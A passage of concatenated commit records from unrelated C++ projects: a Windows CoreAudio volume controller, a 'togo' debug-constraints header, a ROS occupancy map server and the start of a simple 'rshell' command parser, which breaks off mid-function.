hr = _devEnumerator->GetDevice(_devId.c_str(), &_device);
}
if (SUCCEEDED(hr)) {
hr = _device->Activate(__uuidof(_volumeControl),
CLSCTX_INPROC_SERVER, nullptr, (void **) &_volumeControl);
CLOG(L"Attached to audio device: [%s]", DeviceName().c_str());
if (SUCCEEDED(hr)) {
hr = _volumeControl->RegisterControlChangeNotify(this);
_registeredNotifications = SUCCEEDED(hr);
}
} else {
CLOG(L"Failed to find audio device!");
}
return hr;
}
void CoreAudio::DetachDevice() {
if (_volumeControl != nullptr) {
if (_registeredNotifications) {
_volumeControl->UnregisterControlChangeNotify(this);
_registeredNotifications = false;
}
_volumeControl->Release();
}
if (_device != nullptr) {
_device->Release();
}
}
HRESULT CoreAudio::OnNotify(PAUDIO_VOLUME_NOTIFICATION_DATA pNotify) {
if (pNotify->guidEventContext == G3RVXCoreAudioEvent) {
PostMessage(_notifyHwnd, MSG_VOL_CHNG, (WPARAM) 1, 0);
} else {
PostMessage(_notifyHwnd, MSG_VOL_CHNG, 0, 0);
}
return S_OK;
}
HRESULT CoreAudio::OnDefaultDeviceChanged(
EDataFlow flow, ERole role, LPCWSTR pwstrDefaultDeviceId) {
if (flow == eRender) {
PostMessage(_notifyHwnd, MSG_VOL_DEVCHNG, 0, 0);
}
return S_OK;
}
HRESULT CoreAudio::SelectDevice(std::wstring deviceId) {
HRESULT hr;
_devId = deviceId;
DetachDevice();
hr = AttachDevice();
return hr;
}
HRESULT CoreAudio::SelectDefaultDevice() {
HRESULT hr;
_devId = L"";
DetachDevice();
hr = AttachDevice();
return hr;
}
std::list<VolumeController::DeviceInfo> CoreAudio::ListDevices() {
std::list<VolumeController::DeviceInfo> devList;
IMMDeviceCollection *devices = nullptr;
HRESULT hr = _devEnumerator->EnumAudioEndpoints(
eRender,
DEVICE_STATE_ACTIVE | DEVICE_STATE_UNPLUGGED,
&devices);
if (FAILED(hr)) {
return devList;
}
UINT numDevices = 0;
hr = devices->GetCount(&numDevices);
if (FAILED(hr)) {
return devList;
}
LPWSTR devId;
for (unsigned int i = 0; i < numDevices; ++i) {
IMMDevice *device = nullptr;
HRESULT hr = devices->Item(i, &device);
if (FAILED(hr)) {
continue;
}
hr = device->GetId(&devId);
if (FAILED(hr)) {
device->Release();
continue;
}
std::wstring idStr;
if (devId) {
idStr = std::wstring(devId);
CoTaskMemFree(devId);
} else {
continue;
}
VolumeController::DeviceInfo devInfo = {};
devInfo.id = idStr;
devInfo.name = DeviceName(idStr);
devList.push_back(devInfo);
device->Release();
}
devices->Release();
return devList;
}
std::wstring CoreAudio::DeviceId() {
return _devId;
}
std::wstring CoreAudio::DeviceName() {
return DeviceName(_device);
}
std::wstring CoreAudio::DeviceDesc() {
return DeviceDesc(_device);
}
std::wstring CoreAudio::DeviceName(std::wstring deviceId) {
IMMDevice *device;
HRESULT hr = _devEnumerator->GetDevice(deviceId.c_str(), &device);
if (FAILED(hr)) {
return L"";
}
std::wstring name = DeviceName(device);
device->Release();
return name;
}
std::wstring CoreAudio::DeviceDesc(std::wstring deviceId) {
IMMDevice *device;
HRESULT hr = _devEnumerator->GetDevice(deviceId.c_str(), &device);
if (FAILED(hr)) {
return L"";
}
std::wstring name = DeviceName(device);
device->Release();
return name;
}
std::wstring CoreAudio::DeviceName(IMMDevice *device) {
if (device == nullptr) {
return L"";
}
IPropertyStore *props = nullptr;
HRESULT hr = device->OpenPropertyStore(STGM_READ, &props);
if (FAILED(hr)) {
return L"";
}
PROPVARIANT pvName;
PropVariantInit(&pvName);
hr = props->GetValue(PKEY_Device_FriendlyName, &pvName);
if (FAILED(hr)) {
props->Release();
return L"";
}
std::wstring str(pvName.pwszVal);
PropVariantClear(&pvName);
props->Release();
return str;
}
std::wstring CoreAudio::DeviceDesc(IMMDevice *device) {
HRESULT hr;
if (device == nullptr) {
return L"";
}
IPropertyStore *props = nullptr;
hr = device->OpenPropertyStore(STGM_READ, &props);
if (FAILED(hr)) {
return L"";
}
PROPVARIANT pvDesc;
PropVariantInit(&pvDesc);
hr = props->GetValue(PKEY_Device_DeviceDesc, &pvDesc);
if (FAILED(hr)) {
props->Release();
return L"";
}
std::wstring str(pvDesc.pwszVal);
PropVariantClear(&pvDesc);
props->Release();
return str;
}
float CoreAudio::Volume() {
float vol = 0.0f;
if (_volumeControl) {
_volumeControl->GetMasterVolumeLevelScalar(&vol);
if (_transform) {
vol = _transform->FromVirtual(vol);
}
}
return vol;
}
void CoreAudio::Volume(float vol) {
if (vol > 1.0f) {
vol = 1.0f;
}
if (vol < 0.0f) {
vol = 0.0f;
}
if (_volumeControl) {
if (_transform) {
vol = _transform->Transform(vol);
}
_volumeControl->SetMasterVolumeLevelScalar(vol, &G3RVXCoreAudioEvent);
}
}
float CoreAudio::VolumeDB() {
float vol = 0.0f;
if (_volumeControl) {
_volumeControl->GetMasterVolumeLevel(&vol);
}
return vol;
}
void CoreAudio::VolumeDB(float volDB) {
if (_volumeControl) {
_volumeControl->SetMasterVolumeLevel(volDB, &G3RVXCoreAudioEvent);
}
}
bool CoreAudio::Muted() {
if (_volumeControl == nullptr) {
return true;
}
BOOL muted = FALSE;
HRESULT hr = _volumeControl->GetMute(&muted);
if (FAILED(hr)) {
return false;
}
return (muted == TRUE) ? true : false;
}
void CoreAudio::Muted(bool muted) {
if (_volumeControl) {
_volumeControl->SetMute(muted, &G3RVXCoreAudioEvent);
}
}
void CoreAudio::Transformation(VolumeTransformation* transform) {
_transform = transform;
}
VolumeTransformation* CoreAudio::Transformation() {
return _transform;
}
void CoreAudio::CurveInfo() {
if (_volumeControl == nullptr) {
return;
}
float min, max, inc;
_volumeControl->GetVolumeRange(&min, &max, &inc);
CLOG(L"Volume Range (min, max, increment): %f, %f, %f", min, max, inc);
float range = abs(max - min);
float steps = range / inc;
CLOG(L"Full range: %f (%f steps)", range, steps);
float orig = Volume();
for (float f = 0; f < 100.1f; ++f) {
Volume(f / 100.0f);
QCLOG("%f %f", Volume(), VolumeDB());
}
Volume(orig);
}
ULONG CoreAudio::AddRef() {
return InterlockedIncrement(&_refCount);
}
ULONG CoreAudio::Release() {
long lRef = InterlockedDecrement(&_refCount);
if (lRef == 0) {
delete this;
}
return lRef;
}
HRESULT CoreAudio::QueryInterface(REFIID iid, void **ppvObject) {
if ((iid == __uuidof(IUnknown)) ||
(iid == __uuidof(IMMNotificationClient))) {
*ppvObject = static_cast<IMMNotificationClient*>(this);
} else if (iid == __uuidof(IAudioEndpointVolumeCallback)) {
*ppvObject = static_cast<IAudioEndpointVolumeCallback*>(this);
} else {
*ppvObject = nullptr;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}<commit_msg>Update for method rename<commit_after>// Copyright (c) 2015, Matthew Malensek.
// Distributed under the BSD 2-Clause License (see LICENSE.txt for details)
#include "CoreAudio.h"
#include <math.h>
#include <stdlib.h>
#include "../../Logger.h"
#include "Functiondiscoverykeys_devpkey.h"
#include "VolumeTransformation.h"
// {EC9CB649-7E84-4B42-B367-7FC39BE17806}
static const GUID G3RVXCoreAudioEvent = { 0xec9cb649, 0x7e84, 0x4b42,
{ 0xb3, 0x67, 0x7f, 0xc3, 0x9b, 0xe1, 0x78, 0x6 } };
HRESULT CoreAudio::Init() {
HRESULT hr;
hr = CoCreateInstance(
__uuidof(MMDeviceEnumerator),
nullptr,
CLSCTX_INPROC_SERVER,
IID_PPV_ARGS(&_devEnumerator));
if (SUCCEEDED(hr)) {
hr = _devEnumerator->RegisterEndpointNotificationCallback(this);
if (SUCCEEDED(hr)) {
hr = AttachDevice();
}
}
return hr;
}
HRESULT CoreAudio::Init(std::wstring deviceId) {
_devId = deviceId;
return Init();
}
void CoreAudio::Dispose() {
DetachDevice();
_devEnumerator->UnregisterEndpointNotificationCallback(this);
}
HRESULT CoreAudio::AttachDevice() {
HRESULT hr;
if (_devId.empty()) {
/* Use default device */
hr = _devEnumerator->GetDefaultAudioEndpoint(eRender,
eMultimedia, &_device);
if (SUCCEEDED(hr)) {
LPWSTR id = nullptr;
hr = _device->GetId(&id);
if (SUCCEEDED(hr) && id) {
_devId = std::wstring(id);
CoTaskMemFree(id);
}
}
} else {
hr = _devEnumerator->GetDevice(_devId.c_str(), &_device);
}
if (SUCCEEDED(hr)) {
hr = _device->Activate(__uuidof(_volumeControl),
CLSCTX_INPROC_SERVER, nullptr, (void **) &_volumeControl);
CLOG(L"Attached to audio device: [%s]", DeviceName().c_str());
if (SUCCEEDED(hr)) {
hr = _volumeControl->RegisterControlChangeNotify(this);
_registeredNotifications = SUCCEEDED(hr);
}
} else {
CLOG(L"Failed to find audio device!");
}
return hr;
}
void CoreAudio::DetachDevice() {
if (_volumeControl != nullptr) {
if (_registeredNotifications) {
_volumeControl->UnregisterControlChangeNotify(this);
_registeredNotifications = false;
}
_volumeControl->Release();
}
if (_device != nullptr) {
_device->Release();
}
}
HRESULT CoreAudio::OnNotify(PAUDIO_VOLUME_NOTIFICATION_DATA pNotify) {
if (pNotify->guidEventContext == G3RVXCoreAudioEvent) {
PostMessage(_notifyHwnd, MSG_VOL_CHNG, (WPARAM) 1, 0);
} else {
PostMessage(_notifyHwnd, MSG_VOL_CHNG, 0, 0);
}
return S_OK;
}
HRESULT CoreAudio::OnDefaultDeviceChanged(
EDataFlow flow, ERole role, LPCWSTR pwstrDefaultDeviceId) {
if (flow == eRender) {
PostMessage(_notifyHwnd, MSG_VOL_DEVCHNG, 0, 0);
}
return S_OK;
}
HRESULT CoreAudio::SelectDevice(std::wstring deviceId) {
HRESULT hr;
_devId = deviceId;
DetachDevice();
hr = AttachDevice();
return hr;
}
HRESULT CoreAudio::SelectDefaultDevice() {
HRESULT hr;
_devId = L"";
DetachDevice();
hr = AttachDevice();
return hr;
}
std::list<VolumeController::DeviceInfo> CoreAudio::ListDevices() {
std::list<VolumeController::DeviceInfo> devList;
IMMDeviceCollection *devices = nullptr;
HRESULT hr = _devEnumerator->EnumAudioEndpoints(
eRender,
DEVICE_STATE_ACTIVE | DEVICE_STATE_UNPLUGGED,
&devices);
if (FAILED(hr)) {
return devList;
}
UINT numDevices = 0;
hr = devices->GetCount(&numDevices);
if (FAILED(hr)) {
return devList;
}
LPWSTR devId;
for (unsigned int i = 0; i < numDevices; ++i) {
IMMDevice *device = nullptr;
HRESULT hr = devices->Item(i, &device);
if (FAILED(hr)) {
continue;
}
hr = device->GetId(&devId);
if (FAILED(hr)) {
device->Release();
continue;
}
std::wstring idStr;
if (devId) {
idStr = std::wstring(devId);
CoTaskMemFree(devId);
} else {
continue;
}
VolumeController::DeviceInfo devInfo = {};
devInfo.id = idStr;
devInfo.name = DeviceName(idStr);
devList.push_back(devInfo);
device->Release();
}
devices->Release();
return devList;
}
std::wstring CoreAudio::DeviceId() {
return _devId;
}
std::wstring CoreAudio::DeviceName() {
return DeviceName(_device);
}
std::wstring CoreAudio::DeviceDesc() {
return DeviceDesc(_device);
}
std::wstring CoreAudio::DeviceName(std::wstring deviceId) {
IMMDevice *device;
HRESULT hr = _devEnumerator->GetDevice(deviceId.c_str(), &device);
if (FAILED(hr)) {
return L"";
}
std::wstring name = DeviceName(device);
device->Release();
return name;
}
std::wstring CoreAudio::DeviceDesc(std::wstring deviceId) {
IMMDevice *device;
HRESULT hr = _devEnumerator->GetDevice(deviceId.c_str(), &device);
if (FAILED(hr)) {
return L"";
}
std::wstring name = DeviceName(device);
device->Release();
return name;
}
std::wstring CoreAudio::DeviceName(IMMDevice *device) {
if (device == nullptr) {
return L"";
}
IPropertyStore *props = nullptr;
HRESULT hr = device->OpenPropertyStore(STGM_READ, &props);
if (FAILED(hr)) {
return L"";
}
PROPVARIANT pvName;
PropVariantInit(&pvName);
hr = props->GetValue(PKEY_Device_FriendlyName, &pvName);
if (FAILED(hr)) {
props->Release();
return L"";
}
std::wstring str(pvName.pwszVal);
PropVariantClear(&pvName);
props->Release();
return str;
}
std::wstring CoreAudio::DeviceDesc(IMMDevice *device) {
HRESULT hr;
if (device == nullptr) {
return L"";
}
IPropertyStore *props = nullptr;
hr = device->OpenPropertyStore(STGM_READ, &props);
if (FAILED(hr)) {
return L"";
}
PROPVARIANT pvDesc;
PropVariantInit(&pvDesc);
hr = props->GetValue(PKEY_Device_DeviceDesc, &pvDesc);
if (FAILED(hr)) {
props->Release();
return L"";
}
std::wstring str(pvDesc.pwszVal);
PropVariantClear(&pvDesc);
props->Release();
return str;
}
float CoreAudio::Volume() {
float vol = 0.0f;
if (_volumeControl) {
_volumeControl->GetMasterVolumeLevelScalar(&vol);
if (_transform) {
vol = _transform->FromVirtual(vol);
}
}
return vol;
}
void CoreAudio::Volume(float vol) {
if (vol > 1.0f) {
vol = 1.0f;
}
if (vol < 0.0f) {
vol = 0.0f;
}
if (_volumeControl) {
if (_transform) {
vol = _transform->ToVirtual(vol);
}
_volumeControl->SetMasterVolumeLevelScalar(vol, &G3RVXCoreAudioEvent);
}
}
float CoreAudio::VolumeDB() {
float vol = 0.0f;
if (_volumeControl) {
_volumeControl->GetMasterVolumeLevel(&vol);
}
return vol;
}
void CoreAudio::VolumeDB(float volDB) {
if (_volumeControl) {
_volumeControl->SetMasterVolumeLevel(volDB, &G3RVXCoreAudioEvent);
}
}
bool CoreAudio::Muted() {
if (_volumeControl == nullptr) {
return true;
}
BOOL muted = FALSE;
HRESULT hr = _volumeControl->GetMute(&muted);
if (FAILED(hr)) {
return false;
}
return (muted == TRUE) ? true : false;
}
void CoreAudio::Muted(bool muted) {
if (_volumeControl) {
_volumeControl->SetMute(muted, &G3RVXCoreAudioEvent);
}
}
void CoreAudio::Transformation(VolumeTransformation* transform) {
_transform = transform;
}
VolumeTransformation* CoreAudio::Transformation() {
return _transform;
}
void CoreAudio::CurveInfo() {
if (_volumeControl == nullptr) {
return;
}
float min, max, inc;
_volumeControl->GetVolumeRange(&min, &max, &inc);
CLOG(L"Volume Range (min, max, increment): %f, %f, %f", min, max, inc);
float range = abs(max - min);
float steps = range / inc;
CLOG(L"Full range: %f (%f steps)", range, steps);
float orig = Volume();
for (float f = 0; f < 100.1f; ++f) {
Volume(f / 100.0f);
QCLOG("%f %f", Volume(), VolumeDB());
}
Volume(orig);
}
ULONG CoreAudio::AddRef() {
return InterlockedIncrement(&_refCount);
}
ULONG CoreAudio::Release() {
long lRef = InterlockedDecrement(&_refCount);
if (lRef == 0) {
delete this;
}
return lRef;
}
HRESULT CoreAudio::QueryInterface(REFIID iid, void **ppvObject) {
if ((iid == __uuidof(IUnknown)) ||
(iid == __uuidof(IMMNotificationClient))) {
*ppvObject = static_cast<IMMNotificationClient*>(this);
} else if (iid == __uuidof(IAudioEndpointVolumeCallback)) {
*ppvObject = static_cast<IAudioEndpointVolumeCallback*>(this);
} else {
*ppvObject = nullptr;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}<|endoftext|> |
<commit_before>#line 2 "togo/debug_constraints.hpp"
/**
@copyright MIT license; see @ref index or the accompanying LICENSE file.
@file debug_constraints.hpp
@brief Definitions for constraints.
*/
#pragma once
#include <togo/config.hpp>
#if defined(TOGO_USE_CONSTRAINTS)
#include <type_traits>
#define TOGO_CONSTRAIN_IS_POD(T) \
static_assert( \
std::is_standard_layout<T>::value, \
"T is not POD" \
);
#define TOGO_CONSTRAIN_SAME(T, U) \
static_assert( \
std::is_same<T, U>::value, \
"T and U are not the same types" \
);
#define TOGO_CONSTRAIN_INTEGRAL(T) \
static_assert( \
std::is_integral<T>::value, \
"T is not arithmetic" \
);
#define TOGO_CONSTRAIN_ARITHMETIC(T) \
static_assert( \
std::is_arithmetic<T>::value, \
"T is not arithmetic" \
);
#else
/// Statically assert that type T is of standard layout.
#define TOGO_CONSTRAIN_IS_POD(T)
/// Statically assert that type T is the same as type U.
#define TOGO_CONSTRAIN_SAME(T, U)
/// Statically assert that type T is an integral type.
#define TOGO_CONSTRAIN_INTEGRAL(T)
/// Statically assert that type T is an arithmetic type.
#define TOGO_CONSTRAIN_ARITHMETIC(T)
#endif
namespace togo {
} // namespace togo
<commit_msg>debug_constraints: tidy.<commit_after>#line 2 "togo/debug_constraints.hpp"
/**
@copyright MIT license; see @ref index or the accompanying LICENSE file.
@file debug_constraints.hpp
@brief Definitions for constraints.
*/
#pragma once
#include <togo/config.hpp>
#if defined(TOGO_USE_CONSTRAINTS)
#include <type_traits>
#define TOGO_CONSTRAIN_IS_POD(T) \
static_assert( \
std::is_standard_layout<T>::value, \
"T is not POD" \
);
#define TOGO_CONSTRAIN_SAME(T, U) \
static_assert( \
std::is_same<T, U>::value, \
"T and U are not the same types" \
);
#define TOGO_CONSTRAIN_INTEGRAL(T) \
static_assert( \
std::is_integral<T>::value, \
"T is not arithmetic" \
);
#define TOGO_CONSTRAIN_ARITHMETIC(T) \
static_assert( \
std::is_arithmetic<T>::value, \
"T is not arithmetic" \
);
#else
/// Statically assert that type T is of standard layout.
#define TOGO_CONSTRAIN_IS_POD(T)
/// Statically assert that type T is the same as type U.
#define TOGO_CONSTRAIN_SAME(T, U)
/// Statically assert that type T is an integral type.
#define TOGO_CONSTRAIN_INTEGRAL(T)
/// Statically assert that type T is an arithmetic type.
#define TOGO_CONSTRAIN_ARITHMETIC(T)
#endif
<|endoftext|> |
<commit_before>#include "occupancy_map_server.h"
using namespace std;
using namespace boost::filesystem;
#define MAP_IDX(sx, i, j) ((sx) * (j) + (i))
bool OccupancyMapServer::mapCallback(nav_msgs::GetMap::Request &req, nav_msgs::GetMap::Response &res ){
//header (uint32 seq, time stamp, string frame_id)
res.map.header.frame_id = _mapFrameName;
//info (time map_load_time float32 resolution uint32 width uint32 height geometry_msgs/Pose origin)
res.map.info = _gridMsg.info;
res.map.info.map_load_time = ros::Time::now();
//data (int8[] data)
res.map.data = _gridMsg.data;
return true;
}
OccupancyMapServer::OccupancyMapServer(cv::Mat* occupancyMap, int idRobot, int typeExperiment, string mapFrameName, string mapTopicName, float threshold, float freeThreshold){
_occupancyMap = occupancyMap;
_typeExperiment = typeExperiment;
_idRobot = idRobot;
_threshold = threshold;
_freeThreshold = freeThreshold;
_mapFrameName = mapFrameName;
_mapTopicName = mapTopicName;
_pubOccupGrid = _nh.advertise<nav_msgs::OccupancyGrid>(_mapTopicName,1);
_pubMapMetaData = _nh.advertise<nav_msgs::MapMetaData>(_mapTopicName + "_metadata", 1);
_server = _nh.advertiseService(_mapTopicName, &OccupancyMapServer::mapCallback, this);
_gridMsg.header.frame_id = _mapFrameName;
geometry_msgs::Pose poseMsg;
poseMsg.position.x = 0.0;
poseMsg.position.y = 0.0;
poseMsg.position.z = 0.0;
poseMsg.orientation.x = 0;
poseMsg.orientation.y = 0;
poseMsg.orientation.z = 0;
poseMsg.orientation.w = 1.0;
_gridMsg.info.origin = poseMsg;
}
void OccupancyMapServer::publishMap() {
_gridMsg.data.resize(_occupancyMap->rows * _occupancyMap->cols);
for(int r = 0; r < _occupancyMap->rows; r++) {
for(int c = 0; c < _occupancyMap->cols; c++) {
_gridMsg.data[MAP_IDX(_occupancyMap->cols, c, _occupancyMap->rows - r - 1)] = _occupancyMap->at<unsigned char>(r,c);
}
}
//header (uint32 seq, time stamp, string frame_id)
//info (time map_load_time float32 resolution uint32 width uint32 height geometry_msgs/Pose origin)
_gridMsg.info.width = _occupancyMap->cols;
_gridMsg.info.height = _occupancyMap->rows;
_gridMsg.info.origin.position.x = _mapOffset.x();
_gridMsg.info.origin.position.y = _mapOffset.y();
_gridMsg.info.map_load_time = ros::Time::now();
_gridMsg.info.resolution = _mapResolution;
_pubOccupGrid.publish(_gridMsg);
}
void OccupancyMapServer::publishMapMetaData() {
nav_msgs::MapMetaData msg;
msg.resolution = _mapResolution;
msg.origin.position.x = _mapOffset.x();
msg.origin.position.y = _mapOffset.y();
msg.origin.position.z = 0.0;
msg.origin.orientation.x = 0;
msg.origin.orientation.y = 0;
msg.origin.orientation.z = 0.0;
msg.origin.orientation.w = 1.0;
_pubMapMetaData.publish(msg);
}
void OccupancyMapServer::saveMap(std::string outputFileName) {
//Save files in the current working directory. Be careful if using ROSLAUNCH since the cwd becomes ~/.ros
std::stringstream titleImage;
titleImage <<outputFileName <<".png";
std::stringstream titleYaml;
titleYaml<<outputFileName <<".yaml";
_occupancyMapImage = cv::Mat(_occupancyMap->rows, _occupancyMap->cols, CV_8UC1);
_occupancyMapImage.setTo(cv::Scalar(0));
for(int r = 0; r < _occupancyMap->rows; r++) {
for(int c = 0; c < _occupancyMap->cols; c++) {
if(_occupancyMap->at<unsigned char>(r, c) == _unknownColor) {
_occupancyMapImage.at<unsigned char>(r, c) = _unknownImageColor; }
else if (_occupancyMap->at<unsigned char>(r, c) == _freeColor){
_occupancyMapImage.at<unsigned char>(r, c) = _freeImageColor; }
else if (_occupancyMap->at<unsigned char>(r, c) == _occupiedColor){
_occupancyMapImage.at<unsigned char>(r, c) = _occupiedImageColor; }
}
}
cv::imwrite(titleImage.str(), _occupancyMapImage);
std::ofstream ofs;
ofs.open(titleYaml.str());
ofs << "image: " << titleImage.str() << endl;
ofs<< "resolution: " << _mapResolution << endl;
ofs<< "origin: [" << _mapOffset.x() << ", " << _mapOffset.y() << ", " << 0.0 << "]" << endl;
ofs<< "negate: 0" << endl;
ofs<< "occupied_thresh: " << _threshold << endl;
ofs<< "free_thresh: " << _freeThreshold << endl;
ofs.close();
}
void OccupancyMapServer::setOffset(Vector2f offset){
_mapOffset = offset;
}
void OccupancyMapServer::setResolution(float resolution){
_mapResolution = resolution;
}
<commit_msg>time stamp in map header<commit_after>#include "occupancy_map_server.h"
using namespace std;
using namespace boost::filesystem;
#define MAP_IDX(sx, i, j) ((sx) * (j) + (i))
bool OccupancyMapServer::mapCallback(nav_msgs::GetMap::Request &req, nav_msgs::GetMap::Response &res ){
//header (uint32 seq, time stamp, string frame_id)
res.map.header.frame_id = _mapFrameName;
//info (time map_load_time float32 resolution uint32 width uint32 height geometry_msgs/Pose origin)
res.map.info = _gridMsg.info;
res.map.info.map_load_time = ros::Time::now();
//data (int8[] data)
res.map.data = _gridMsg.data;
return true;
}
OccupancyMapServer::OccupancyMapServer(cv::Mat* occupancyMap, int idRobot, int typeExperiment, string mapFrameName, string mapTopicName, float threshold, float freeThreshold){
_occupancyMap = occupancyMap;
_typeExperiment = typeExperiment;
_idRobot = idRobot;
_threshold = threshold;
_freeThreshold = freeThreshold;
_mapFrameName = mapFrameName;
_mapTopicName = mapTopicName;
_pubOccupGrid = _nh.advertise<nav_msgs::OccupancyGrid>(_mapTopicName,1);
_pubMapMetaData = _nh.advertise<nav_msgs::MapMetaData>(_mapTopicName + "_metadata", 1);
_server = _nh.advertiseService(_mapTopicName, &OccupancyMapServer::mapCallback, this);
_gridMsg.header.frame_id = _mapFrameName;
geometry_msgs::Pose poseMsg;
poseMsg.position.x = 0.0;
poseMsg.position.y = 0.0;
poseMsg.position.z = 0.0;
poseMsg.orientation.x = 0;
poseMsg.orientation.y = 0;
poseMsg.orientation.z = 0;
poseMsg.orientation.w = 1.0;
_gridMsg.info.origin = poseMsg;
}
void OccupancyMapServer::publishMap() {
_gridMsg.data.resize(_occupancyMap->rows * _occupancyMap->cols);
for(int r = 0; r < _occupancyMap->rows; r++) {
for(int c = 0; c < _occupancyMap->cols; c++) {
_gridMsg.data[MAP_IDX(_occupancyMap->cols, c, _occupancyMap->rows - r - 1)] = _occupancyMap->at<unsigned char>(r,c);
}
}
//header (uint32 seq, time stamp, string frame_id)
//info (time map_load_time float32 resolution uint32 width uint32 height geometry_msgs/Pose origin)
_gridMsg.info.width = _occupancyMap->cols;
_gridMsg.info.height = _occupancyMap->rows;
_gridMsg.info.origin.position.x = _mapOffset.x();
_gridMsg.info.origin.position.y = _mapOffset.y();
//_gridMsg.info.map_load_time = ros::Time::now();
_gridMsg.info.resolution = _mapResolution;
_gridMsg.header.stamp = ros::Time::now();
_pubOccupGrid.publish(_gridMsg);
}
void OccupancyMapServer::publishMapMetaData() {
nav_msgs::MapMetaData msg;
msg.resolution = _mapResolution;
msg.origin.position.x = _mapOffset.x();
msg.origin.position.y = _mapOffset.y();
msg.origin.position.z = 0.0;
msg.origin.orientation.x = 0;
msg.origin.orientation.y = 0;
msg.origin.orientation.z = 0.0;
msg.origin.orientation.w = 1.0;
_pubMapMetaData.publish(msg);
}
void OccupancyMapServer::saveMap(std::string outputFileName) {
//Save files in the current working directory. Be careful if using ROSLAUNCH since the cwd becomes ~/.ros
std::stringstream titleImage;
titleImage <<outputFileName <<".png";
std::stringstream titleYaml;
titleYaml<<outputFileName <<".yaml";
_occupancyMapImage = cv::Mat(_occupancyMap->rows, _occupancyMap->cols, CV_8UC1);
_occupancyMapImage.setTo(cv::Scalar(0));
for(int r = 0; r < _occupancyMap->rows; r++) {
for(int c = 0; c < _occupancyMap->cols; c++) {
if(_occupancyMap->at<unsigned char>(r, c) == _unknownColor) {
_occupancyMapImage.at<unsigned char>(r, c) = _unknownImageColor; }
else if (_occupancyMap->at<unsigned char>(r, c) == _freeColor){
_occupancyMapImage.at<unsigned char>(r, c) = _freeImageColor; }
else if (_occupancyMap->at<unsigned char>(r, c) == _occupiedColor){
_occupancyMapImage.at<unsigned char>(r, c) = _occupiedImageColor; }
}
}
cv::imwrite(titleImage.str(), _occupancyMapImage);
std::ofstream ofs;
ofs.open(titleYaml.str());
ofs << "image: " << titleImage.str() << endl;
ofs<< "resolution: " << _mapResolution << endl;
ofs<< "origin: [" << _mapOffset.x() << ", " << _mapOffset.y() << ", " << 0.0 << "]" << endl;
ofs<< "negate: 0" << endl;
ofs<< "occupied_thresh: " << _threshold << endl;
ofs<< "free_thresh: " << _freeThreshold << endl;
ofs.close();
}
void OccupancyMapServer::setOffset(Vector2f offset){
_mapOffset = offset;
}
void OccupancyMapServer::setResolution(float resolution){
_mapResolution = resolution;
}
<|endoftext|> |
<commit_before>#include "rshell.h"
#include <iostream>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <sstream>
using namespace std;
// Constructors
// Default constructor (creates an Rshell object for commands)
Rshell::Rshell()
{}
// Rshell functions
// These functions takes command input from the user and parses them
// parseCommand(string& input, char line[][256], char* argv[][64]) -
// parses out whitespace and puts charaters from string into array of char
void Rshell::parseCommand(string& input, char line[][256], char* argv[][64])
{
unsigned row = 0;
unsigned col = 0;
bool quote = false; // Has a flag if the argument is in quotations
clearArray(line); // Cleans array
// Parses string into the array (takes out whitespace)
for(unsigned i = 0; i < input.size(); ++i)
{
if(!quote)
{
if(input.at(i) == '#') // Finishes with a comment
{
break;
}
if((input.at(i) == ' ') || (input.at(i) == '\t') ||
(input.at(i) == '\n')) // Replaces whitespace with ' ' if dne
{
if((col > 0) &&
!((input.at(i + 1) == '&') ||
(input.at(i + 1) == '|') ||
(input.at(i + 1) == ';'))) // Makes sure !connector
{
if(line[row][col-1] != ' ')
{
line[row][col] = ' ';
++col;
}
}
}
else if(input.at(i) == ';') // Treat ';' as a newline
{
row++;
col = 0;
}
else if(input.at(i) == '&') // Checks for &&
{
parseConnect(input, i, line, '&', row, col);
}
else if(input.at(i) == '|') // Checks for ||
{
parseConnect(input, i, line, '|', row, col);
}
else // Any other character
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"') // Checks for "
{
quote = true;
}
}
}
else // Character is in quotes
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"')
{
quote = false;
}
}
}
// Sets up the argv array
row = 0;
col = 0;
quote = false;
clearArrayP(argv);
// Looks thrugh lin eand replaces any ' ' with \0'
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
for(unsigned j = 0; line[i][j] != '\0'; ++j)
{
if(j == 0) // Gets the command
{
argv[row][col] = &line[i][j];
++col;
}
if(!quote && (line[i][j] == ' ')) // Replaces space with '\0'
{
line[i][j] = '\0';
argv[row][col] = &line[i][j + 1];
++col;
}
if(line[i][j] == '"') // Triggers quotes
{
quote = !quote;
}
}
++row; // Goes to the next row
col = 0;
}
return;
}
// void parseConnect(string&, unsigned, char [][], char, unsigned&, unsigned&)-
// checks if an '&' or '|' is a connector or not
void Rshell::parseConnect(string& input, unsigned pos, char line[][256], char con, unsigned& row, unsigned& col)
{
if(col == 1)
{
line[row][col] = input.at(pos);
col++;
if(line[row][0] == con) // if prev char is connector
{
row++;
col = 0;
}
}
else
{
if(input.at(pos + 1) == con) // if next char is connector
{
row++;
col = 0;
}
line[row][col] = input.at(pos);
col++;
}
return;
}
// void clearArray(char line[100][256]) - puts '\0' for all spots in the array
void Rshell::clearArray(char line[][256])
{
for(unsigned row = 0; line[row][0] != '\0'; ++row)
{
for(unsigned col = 0; col < 256; ++col)
{
line[row][col] = '\0';
}
}
return;
}
// void clearArrayP(char* argv[][]) - puts '\0' for all spots in the pointer
// array
void Rshell::clearArrayP(char* argv[][64])
{
for(unsigned row = 0; argv[row][0] != '\0'; ++row)
{
for(unsigned col = 0; argv[row][col] != '\0'; ++col)
{
argv[row][col] = '\0';
}
}
return;
}
// void executeCommand(char* argv[][]) - takes the array of commands and
// executes them
void Rshell::executeCommand(char line[][256], char* argv[][64], bool bye)
{
pid_t pid;
int status;
bool conAnd = false; // '&&'
bool conOr = false; // '||'
bool success = true; // If previous command was successful
for(unsigned i = 0; argv[i][0] != '\0'; ++i)
{
// Check for exit
if((line[i][0] == 'e') && (line[i][1] == 'x') && (line[i][2] == 'i') &&
(line[i][3] == 't'))
{
if(!((conAnd && !success) || (conOr && success)))
{
bye = true;
cout << "logout" << endl;
exit(0);
}
}
// Check for connectors
if(line[i][0] == '&') // Found an AND connector
{
conAnd = true;
}
else if(line[i][0] == '|') // Found an OR connector
{
conOr = true;
}
else if((conAnd && !success) || (conOr && success)) // No connect
{
conAnd = false;
conOr = false;
}
